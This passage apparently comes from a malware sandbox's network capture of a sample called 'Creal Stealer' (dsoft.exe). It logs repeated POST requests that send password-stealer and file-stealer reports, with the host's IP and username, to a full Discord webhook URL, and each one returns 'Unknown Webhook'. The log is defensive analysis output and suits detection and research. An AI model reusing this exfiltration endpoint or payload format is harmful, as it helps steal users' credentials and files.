                                                                                                                                                                                                                                        2024-12-29 19:03:21 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:21 UTC1265INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:21 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499003
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4wF4MQQG4Bk4E6c5AvU%2FrKQ%2FcynOk10ROdneChTTmi3bYNVyhWB%2B%2Bdev7ZB3I3UQA%2BmI1Hek2n2R3Del29QWramD4vR%2BDo2QunJkuGRnUe%2FNhpQynrcItUU%2BsdrQ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=dc5d754406e571a16d9932dbc45a1ea4a58ad2b1-1735499001; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=GJ5fRUxb0DtTOaLBLsR4jw7B1AahuX5457h3nVnD49w-1735499001743-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0cb7b8601a07-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:21 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        47192.168.2.449854162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:22 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:22 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:23 UTC1255INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:22 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499004
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Eg8oRCk90hk3MeldB9dwqX%2BYhzIdxm%2BYmgG24Yo9sLXOpeZqrUu3iZYMYyHh6z1owEs7sgedqQawlFIVkkjwgpnPFRXpVrY77ulaJ1GLjWkGgAubV6bXeh4MRbs%2F"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=724caf6ede62f60297d90db326bffd5096f426b8-1735499002; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=YMbQa4_d8Gek9bDIIgFvXyOK8ACSSmB42A3R4_iwpVQ-1735499002908-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0cbfaa347c9a-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:23 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        48192.168.2.449858162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:23 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:23 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:23 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:23 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499004
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nl99ekKSSYD4FXCLcN59GZUXCN23sIcLlDryIHOqCw6UGe34d35j%2FyPHgw2cQV0s0Rbw5YDTvXQAcsesV%2Fi1dyiRC3o86he5TnUxwVDR5qoy3M40G4MsCLP67vH6"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=284b933d887621711a194cd280ec620ca121e88b-1735499003; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=F33tnXaHX2hFMP2mybrZUDtlCZleMHP.9ngqApzWCOw-1735499003501-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0cc328f28cd6-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:23 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        49192.168.2.449860162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:24 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:24 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:24 UTC1255INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:24 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499006
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GvHMN4TxqtyVmpJYyfzjWBaN7jZKrvX%2FD4GpmiO8eBTMNdrU5nQ4KH9ZxGwfk3tobpRzDsgnq7%2FLS8rBfxKgsMcLd1ez4Qcv%2B3LsntXEifUzyoYPWJiKQoj6LtD3"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=12b5fb317103fbae89dd23732629684773005f81-1735499004; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=uKm2yP_HxOffG8iH37Q_80Ecxzuha8N7ZeGbr2smQSA-1735499004706-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0ccaec8f4276-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:24 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        50192.168.2.449862162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:24 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:24 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:25 UTC1263INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:25 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499006
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VQJpf5IJY%2BPcxi%2FQOeBOh4bN%2FDxQ6c6CyDeFMyLx6ARqwlE4tuGSKasn%2BE7%2FMq%2BT5vqb7GZeOuIkyZNeXWYqbrbKO%2BJvFfl5Vz4YgWqEtuGkQ1I5lOEk02lbOUFy"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=6a2c9dada8228cf579dc5df331829f1373d81cea-1735499005; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=5C17tETGyVyUvkDD7_AyZ8TUM4WEf9t2UqFGz0W52Eg-1735499005208-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0ccdba8972a7-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:25 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        51192.168.2.449867162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:26 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 412
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:26 UTC412OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 5d 2c 20 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c 2d 53 74 65 61 6c 65 72
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"color": 2895667, "fields": [], "title": "Creal Stealer | File Stealer", "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer
                                                                                                                                                                                                                                        2024-12-29 19:03:26 UTC1257INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:26 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735499007
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T66WDSC4GcJm2m2RwNl5bKVD7h5ZZwYnov6mcXuNb6I3vDxalOf5ZHkCeZ%2FKbDg5MeztL7BO%2Bt3ldQF0r%2BHW8Tj8viXfF6bwoMjA8CKG%2B2Qn1Au7f15jApIlxwk3"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=ecac402da22b5c6a6363170c9e4c0f1b3713c18e-1735499006; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=P1RKXsc8G9MmCIifE8YLX2xzStJMGtrs9k7VsOyrQ7o-1735499006436-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0cd5ea45efa7-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:26 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        52192.168.2.449869162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
